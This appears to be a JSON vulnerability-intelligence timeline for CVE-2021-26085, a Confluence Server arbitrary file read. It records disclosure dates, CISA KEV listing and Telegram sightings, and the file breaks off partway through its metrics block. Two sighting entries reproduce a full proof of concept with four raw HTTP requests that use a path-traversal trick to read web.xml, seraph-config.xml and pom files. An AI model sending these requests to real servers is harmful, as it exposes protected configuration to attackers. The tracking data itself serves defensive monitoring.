{"metadata": {"vulnerability": "CVE-2021-26085", "count": 53, "kinds": {"milestone": 4, "sighting": 18, "kev": 11, "other": 20}, "linked_omitted": 0}, "data": [{"timestamp": "2021-01-25T00:00:00Z", "date_only": false, "value": "2021-01-25T00:00:00.000Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2021-26085", "field": "cveMetadata.dateReserved"}, {"timestamp": "2021-07-29T00:00:00Z", "date_only": false, "value": "2021-07-29T00:00:00", "kind": "other", "label": "DATE PUBLIC", "source": "cvelistv5 / atlassian", "record": "CVE-2021-26085", "field": "containers.cna.x_legacyV4Record.CVE_data_meta.DATE_PUBLIC"}, {"timestamp": "2021-07-29T00:00:00Z", "date_only": false, "value": "2021-07-29T00:00:00", "kind": "other", "label": "DATE PUBLIC", "source": "gsd \u00b7 GSD-2021-26085", "record": "GSD-2021-26085", "field": "namespaces.cve.org.CVE_data_meta.DATE_PUBLIC", "linked_record": true}, {"timestamp": "2021-07-29T00:00:00Z", "date_only": false, "value": "2021-07-29T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "CVE-2021-26085", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2021-08-03T00:00:12.199Z", "date_only": false, "value": "2021-08-03T00:00:12.199Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2021-26085", "field": "cveMetadata.datePublished", "metric_role": "disclosure", "metric_basis": "recorded_event"}, {"timestamp": "2021-08-03T00:15:00Z", "date_only": false, "value": "2021-08-03T00:15:00Z", "kind": "other", "label": "Nvd published at", "source": "github \u00b7 GHSA-8MJC-QHQ2-3XM8", "record": "GHSA-8MJC-QHQ2-3XM8", "field": "database_specific.nvd_published_at", "linked_record": true}, {"timestamp": "2021-08-03T00:15:00Z", "date_only": false, "value": "2021-08-03T00:15Z", "kind": "other", "label": "Published Date", "source": "gsd \u00b7 GSD-2021-26085", "record": "GSD-2021-26085", "field": "namespaces.nvd.nist.gov.publishedDate", "linked_record": true}, {"timestamp": "2021-08-03T00:15:08.557Z", "date_only": false, "value": "2021-08-03T00:15:08.557", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-26085", "record": "FKIE_CVE-2021-26085", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2021-08-03T07:27:39Z", "date_only": false, "value": "2021-08-03T07:27:39.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cibsecurity/26724", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "a8392cba-51ef-45ac-96e0-9c0621f86d0a", "content": "\u203c CVE-2021-26085 \u203c\n\nAffected versions of Atlassian Confluence Server allow remote attackers to view restricted resources via a Pre-Authorization Arbitrary File Read vulnerability in the /s/ endpoint. The affected versions are before version 7.4.10, and from version 7.5.0 before 7.12.3.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "url": "https://t.me/cibsecurity/26724"}, {"timestamp": "2021-09-06T00:00:00Z", "date_only": false, "value": "2021-09-06T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_avis \u00b7 CERTFR-2021-AVI-677", "record": "CERTFR-2021-AVI-677", "field": "revisions.0.revision_date", "linked_record": true}, {"timestamp": "2021-10-05T16:06:18Z", "date_only": false, "value": "2021-10-05T16:06:18.000Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / atlassian", "record": "CVE-2021-26085", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2021-10-12T05:12:34Z", "date_only": false, "value": "2021-10-12T05:12:34.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/679", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "96f5d504-fe65-4951-a62d-7d96c3c6cedc", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01\n\n\u66f4\u65b0\u4e86\uff1aCVE-2021\n\u63cf\u8ff0\uff1aAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability (CVE-2021-26085)\nURL\uff1ahttps://github.com/ColdFusionX/CVE-2021-26085", "url": "https://t.me/GithubRedTeam/679", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2021-10-13T10:34:16Z", "date_only": false, "value": "2021-10-13T10:34:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/BlueRedTeam/1124", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "30f76e3d-bdb2-4c42-9ed7-890d9086a570", "content": "1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086\n#exploit\n@BlueRedTeam", "url": "https://t.me/BlueRedTeam/1124", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2021-10-13T11:07:01Z", "date_only": false, "value": "2021-10-13T11:07:01.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/CyberSecurityTechnologies/4511", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "5d55baff-63ef-4419-9220-2ac4a9727368", "content": "#exploit\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "url": "https://t.me/CyberSecurityTechnologies/4511", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2021-10-25T22:32:43Z", "date_only": false, "value": "2021-10-25T22:32:43.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/63ddead6-4b82-414c-ad8e-c516b950b446", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "86d8d27f-6570-4ad2-90ef-4bddf7928054"}, {"timestamp": "2021-11-05T19:01:32Z", "date_only": false, "value": "2021-11-05T19:01:32.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/ctinow/41906", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "dafa3586-6bde-475d-bd11-f6ad56dd7249", "content": "MariaDB: Path Traversal CVE-2021-26086 CVE-2021-26085\n\nhttps://ift.tt/3q7raJ2", "url": "https://t.me/ctinow/41906"}, {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "cisa-kev", "record": "CVE-2021-26085", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "8b0072f5-f85e-4406-8ef8-aae614fb5cae", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2021-26085", "field": "timestamps.asserted_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "bd91315d-3fd6-4894-98d9-4d11b683acff", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-03-28T00:00:00Z", "date_only": true, "value": "2022-03-28", "kind": "other", "label": "Catalog added", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-26085", "field": "containers.adp.1.metrics.2.other.content.dateAdded"}, {"timestamp": "2022-03-28T00:00:00Z", "date_only": true, "value": "2022-03-28", "kind": "other", "label": "Catalog added", "source": "gsd \u00b7 GSD-2021-26085", "record": "GSD-2021-26085", "field": "namespaces.cisa.gov.dateAdded", "linked_record": true}, {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2021-26085", "field": "evidence.0.details.added_date", "uuid": "bd91315d-3fd6-4894-98d9-4d11b683acff", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-03-28T00:00:00Z", "date_only": true, "value": "2022-03-28", "kind": "kev", "label": "Date added", "source": "cisa-kev", "record": "CVE-2021-26085", "field": "evidence.0.details.date_added", "uuid": "8b0072f5-f85e-4406-8ef8-aae614fb5cae", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "cisa-kev", "record": "CVE-2021-26085", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "8b0072f5-f85e-4406-8ef8-aae614fb5cae", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2021-26085", "field": "timestamps.first_seen_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "bd91315d-3fd6-4894-98d9-4d11b683acff", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "cisa-kev", "record": "CVE-2021-26085", "field": "status.status_updated_at", "uuid": "8b0072f5-f85e-4406-8ef8-aae614fb5cae", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2021-26085", "field": "status.status_updated_at", "uuid": "bd91315d-3fd6-4894-98d9-4d11b683acff", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-03-28T00:00:00Z", "date_only": false, "value": "2022-03-28T00:00:00.000Z", "kind": "other", "label": "Timeline", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-26085", "field": "containers.adp.1.timeline.0.time", "text": "CVE-2021-26085 added to CISA KEV"}, {"timestamp": "2022-04-18T00:00:00Z", "date_only": true, "value": "2022-04-18", "kind": "kev", "label": "Due date", "source": "cisa-kev", "record": "CVE-2021-26085", "field": "evidence.0.details.due_date", "uuid": "8b0072f5-f85e-4406-8ef8-aae614fb5cae", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2022-04-18T00:00:00Z", "date_only": true, "value": "2022-04-18", "kind": "other", "label": "Remediation due", "source": "gsd \u00b7 GSD-2021-26085", "record": "GSD-2021-26085", "field": "namespaces.cisa.gov.dueDate", "linked_record": true}, {"timestamp": "2022-05-24T19:09:53Z", "date_only": false, "value": "2022-05-24T19:09:53Z", "kind": "milestone", "label": "Published", "source": "github \u00b7 GHSA-8MJC-QHQ2-3XM8", "record": "GHSA-8MJC-QHQ2-3XM8", "field": "published", "metric_role": "disclosure", "metric_basis": "recorded_event", "linked_record": true}, {"timestamp": "2022-06-10T14:25:00Z", "date_only": false, "value": "2022-06-10T14:25Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2021-26085", "record": "GSD-2021-26085", "field": "namespaces.nvd.nist.gov.lastModifiedDate", "linked_record": true}, {"timestamp": "2023-06-14T21:10:04Z", "date_only": false, "value": "2023-06-14T21:10:04.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "96f48f22-bfe5-4026-ae55-8a6cc56cb2e5"}, {"timestamp": "2023-12-13T01:23:33.623Z", "date_only": false, "value": "2023-12-13T01:23:33.623635Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2021-26085", "record": "GSD-2021-26085", "field": "gsd.osvSchema.modified", "linked_record": true}, {"timestamp": "2024-08-03T20:19:19.799Z", "date_only": false, "value": "2024-08-03T20:19:19.799Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CVE", "record": "CVE-2021-26085", "field": "containers.adp.0.providerMetadata.dateUpdated"}, {"timestamp": "2024-12-24T20:29:57.802Z", "date_only": false, "value": "2024-12-24T20:29:57.802440Z", "kind": "sighting", "label": "Seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2971482", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "bd3ce9ca-3a36-4ea9-b041-a5a8ac9090b6", "url": "https://feedsin.space/feed/CISAKevBot/items/2971482"}, {"timestamp": "2025-02-07T12:29:39.323Z", "date_only": false, "value": "2025-02-07T12:29:39.323995Z", "kind": "other", "label": "Recorded", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-26085", "field": "containers.adp.1.metrics.1.other.content.timestamp"}, {"timestamp": "2025-02-07T12:29:39.323Z", "date_only": false, "value": "2025-02-07T12:29:39.323995Z", "kind": "other", "label": "Recorded", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-26085", "record": "FKIE_CVE-2021-26085", "field": "metrics.ssvcV203.0.ssvcData.timestamp", "linked_record": true}, {"timestamp": "2025-02-23T02:10:29Z", "date_only": false, "value": "2025-02-23T02:10:29.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "7e4014e0-0cc8-4855-91df-f3352604cec8"}, {"timestamp": "2025-10-21T23:25:39.229Z", "date_only": false, "value": "2025-10-21T23:25:39.229Z", "kind": "other", "label": "Updated", "source": "cvelistv5", "record": "CVE-2021-26085", "field": "cveMetadata.dateUpdated"}, {"timestamp": "2025-10-21T23:25:39.229Z", "date_only": false, "value": "2025-10-21T23:25:39.229Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / CISA-ADP", "record": "CVE-2021-26085", "field": "containers.adp.1.providerMetadata.dateUpdated"}, {"timestamp": "2025-10-22T00:32:18Z", "date_only": false, "value": "2025-10-22T00:32:18Z", "kind": "other", "label": "Updated", "source": "github \u00b7 GHSA-8MJC-QHQ2-3XM8", "record": "GHSA-8MJC-QHQ2-3XM8", "field": "modified", "linked_record": true}, {"timestamp": "2026-02-02T12:27:55.459Z", "date_only": false, "value": "2026-02-02T12:27:55.459870Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8b0072f5-f85e-4406-8ef8-aae614fb5cae", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "dd20a0b3-46e7-4b03-af5f-de77a0338c63", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/8b0072f5-f85e-4406-8ef8-aae614fb5cae", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-17T03:42:49.933Z", "date_only": false, "value": "2026-06-17T03:42:49.933", "kind": "other", "label": "Updated", "source": "fkie_nvd \u00b7 FKIE_CVE-2021-26085", "record": "FKIE_CVE-2021-26085", "field": "lastModified", "linked_record": true}, {"timestamp": "2026-06-19T12:47:21.206Z", "date_only": false, "value": "2026-06-19T12:47:21.206488Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5727ce39-f56c-4ea4-aa8e-6bb0dcd99a2c", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "bbd497a0-c6e5-48f8-8fd3-7f30d714ea6e", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/5727ce39-f56c-4ea4-aa8e-6bb0dcd99a2c", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-06-23T14:02:37Z", "date_only": false, "value": "2026-06-23T14:02:37+00:00", "kind": "kev", "label": "Recorded", "source": "kevintel", "record": "CVE-2021-26085", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "bd91315d-3fd6-4894-98d9-4d11b683acff", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-06-23T14:05:16.017Z", "date_only": false, "value": "2026-06-23T14:05:16.017211Z", "kind": "sighting", "label": "Exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bd91315d-3fd6-4894-98d9-4d11b683acff", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "bc944760-9073-40c0-b28a-869081582f1c", "url": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/bd91315d-3fd6-4894-98d9-4d11b683acff", "metric_role": "exploitation", "metric_basis": "sighting_report"}, {"timestamp": "2026-08-09T05:02:32.158Z", "date_only": false, "value": "2026-08-09T05:02:32.158225Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/onelab1337/1832", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "2c5b7e8c-a986-4281-8d26-7c3fca928601", "content": "#exploit\n\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\n\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\n\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "url": "https://t.me/onelab1337/1832"}, {"timestamp": "2026-08-10T00:00:11.666Z", "date_only": false, "value": "2026-08-10T00:00:11.666491Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/onelab1337/1832", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "1446fe62-bf8c-4a09-8863-a0fde61f582f", "content": "#exploit\n\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\n\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\n\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "url": "https://t.me/onelab1337/1832", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-01T17:00:38.493Z", "date_only": false, "value": "2026-09-01T17:00:38.493293Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/cissp/4592", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "90345113-5925-4666-9cf0-192c6593ccf2", "content": "Offensive security\nA Look At Some Real-World Obfuscation Techniques\nhttps://research.nccgroup.com/2021/10/12/a-look-at-some-real-world-obfuscation-techniques\n\nBlue Team Techniques\nIncident Response collection and processing scripts\nwith automated reporting scripts\nhttps://github.com/FSecureLABS/\ud83d\udc4d\ud83c\udffdLinuxCatScale\n\n#mThreat Research\n0-Day Hunting\n(Chaining Bugs/Methodology)\nhttps://blog.riotsecurityteam.com/0day-chains\n\nexploit\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "url": "https://t.me/cissp/4592"}, {"timestamp": "2026-09-01T20:02:18.628Z", "date_only": false, "value": "2026-09-01T20:02:18.628988Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/hacking_Attack/26333", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "d074c4e7-50a0-42eb-8c6f-a7590ce0215b", "content": "Exploit Collector\nAtlassian Confluence Server 7.5.1 Arbitrary File Read\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png \nAtlassian Confluence Server version 7.5.1 suffers from a pre-authorization arbitrary file read vulnerability.\n\nMD5 | 4fa62bc6e28d287ea19c91e18c9cea00\n\nDownload\n# Exploit Title: Atlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability\n# Date: 2021-10-05\n# Exploit Author: Mayank Deshmukh\n# Author email: coldfusionx@outlook.com\n# Vendor Homepage: https://www.atlassian.com/\n# Software Link: https://www.atlassian.com/software/confluence/download-archives\n# Version: All < 7.5.0 versions before 7.12.3\n# Tested on: Kali Linux & Windows 10\n# CVE : CVE-2021-26085\n\nPOC #1 - web.xml\n\nGET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #2 - seraph-config.xml\n\nGET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #3 - pom.properties\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #4 - pom.xml\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/26333"}, {"timestamp": "2026-09-07T12:00:04.857Z", "date_only": false, "value": "2026-09-07T12:00:04.857769Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/hacking_Attack/26333", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "fbaf9f71-7b6b-438d-8bf4-01ad7fd50d02", "content": "Exploit Collector\nAtlassian Confluence Server 7.5.1 Arbitrary File Read\n\nhttps://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png \nAtlassian Confluence Server version 7.5.1 suffers from a pre-authorization arbitrary file read vulnerability.\n\nMD5 | 4fa62bc6e28d287ea19c91e18c9cea00\n\nDownload\n# Exploit Title: Atlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability\n# Date: 2021-10-05\n# Exploit Author: Mayank Deshmukh\n# Author email: coldfusionx@outlook.com\n# Vendor Homepage: https://www.atlassian.com/\n# Software Link: https://www.atlassian.com/software/confluence/download-archives\n# Version: All < 7.5.0 versions before 7.12.3\n# Tested on: Kali Linux & Windows 10\n# CVE : CVE-2021-26085\n\nPOC #1 - web.xml\n\nGET /s/123cfx/_/;/WEB-INF/web.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #2 - seraph-config.xml\n\nGET /s/123cfx/_/;/WEB-INF/classes/seraph-config.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #3 - pom.properties\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.properties HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nPOC #4 - pom.xml\n\nGET /s/123cfx/_/;/META-INF/maven/com.atlassian.confluence/confluence-webapp/pom.xml HTTP/1.1\nHost: 127.0.0.1:8090\nCache-Control: max-age=0\nUpgrade-Insecure-Requests: 1\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.61 Safari/537.36\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US,en;q=0.9\nConnection: close\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "url": "https://t.me/hacking_Attack/26333", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-09-10T17:00:04.331Z", "date_only": false, "value": "2026-09-10T17:00:04.331766Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/cissp/4592", "record": "CVE-2021-26085", "field": "creation_timestamp", "uuid": "511c027f-d678-48b4-b828-f14132e5b2f7", "content": "Offensive security\nA Look At Some Real-World Obfuscation Techniques\nhttps://research.nccgroup.com/2021/10/12/a-look-at-some-real-world-obfuscation-techniques\n\nBlue Team Techniques\nIncident Response collection and processing scripts\nwith automated reporting scripts\nhttps://github.com/FSecureLABS/\ud83d\udc4d\ud83c\udffdLinuxCatScale\n\n#mThreat Research\n0-Day Hunting\n(Chaining Bugs/Methodology)\nhttps://blog.riotsecurityteam.com/0day-chains\n\nexploit\n1. CVE-2021-34486:\nWindows 20H2 x64 Etw LPE\nhttps://github.com/KaLendsi/CVE-2021-34486\n\n2. CVE-2021-26085 / CVE-2021-26086:\nAtlassian Confluence Server 7.5.1 Pre-Authorization Arbitrary File Read vulnerability / Atlassian Jira Server/DataCenter 8.4.0 - Arbitrary File read\nhttps://github.com/ColdFusionX/CVE-2021-26085\nhttps://github.com/ColdFusionX/CVE-2021-26086", "url": "https://t.me/cissp/4592", "metric_role": "exploit_publication", "metric_basis": "sighting_report"}, {"timestamp": "2026-11-04T13:31:51Z", "date_only": false, "value": "2026-11-04T13:31:51+00:00", "kind": "kev", "label": "Recorded", "source": "cisa-kev", "record": "CVE-2021-26085", "field": "timestamps.recorded_at", "metric_role": "exploitation_report", "metric_basis": "kev_report", "batch_listing": true, "uuid": "8b0072f5-f85e-4406-8ef8-aae614fb5cae", "status": {"status_reason": "confirmed", "exploited": true}}], "metrics": {"as_of": "2026-11-14T17:00:56.651Z", "anchors": {"origin": {"timestamp": "2021-07-29T00:00:00Z", "date_only": false, "value": "2021-07-29T00:00:00.000Z", "kind": "other", "label": "Made public", "source": "cvelistv5 / atlassian", "record": "CVE-2021-26085", "field": "containers.cna.datePublic", "metric_role": "disclosure", "metric_basis": "recorded_event"}, "discovery": null, "report": null, "acknowledgement": null, "disclosure": {"timestamp": "2021-07-29T00:00:00Z", "date_only": false, "value": "2021-07-29T00:00:00.000Z", "kind": "other", "label": "Made public", 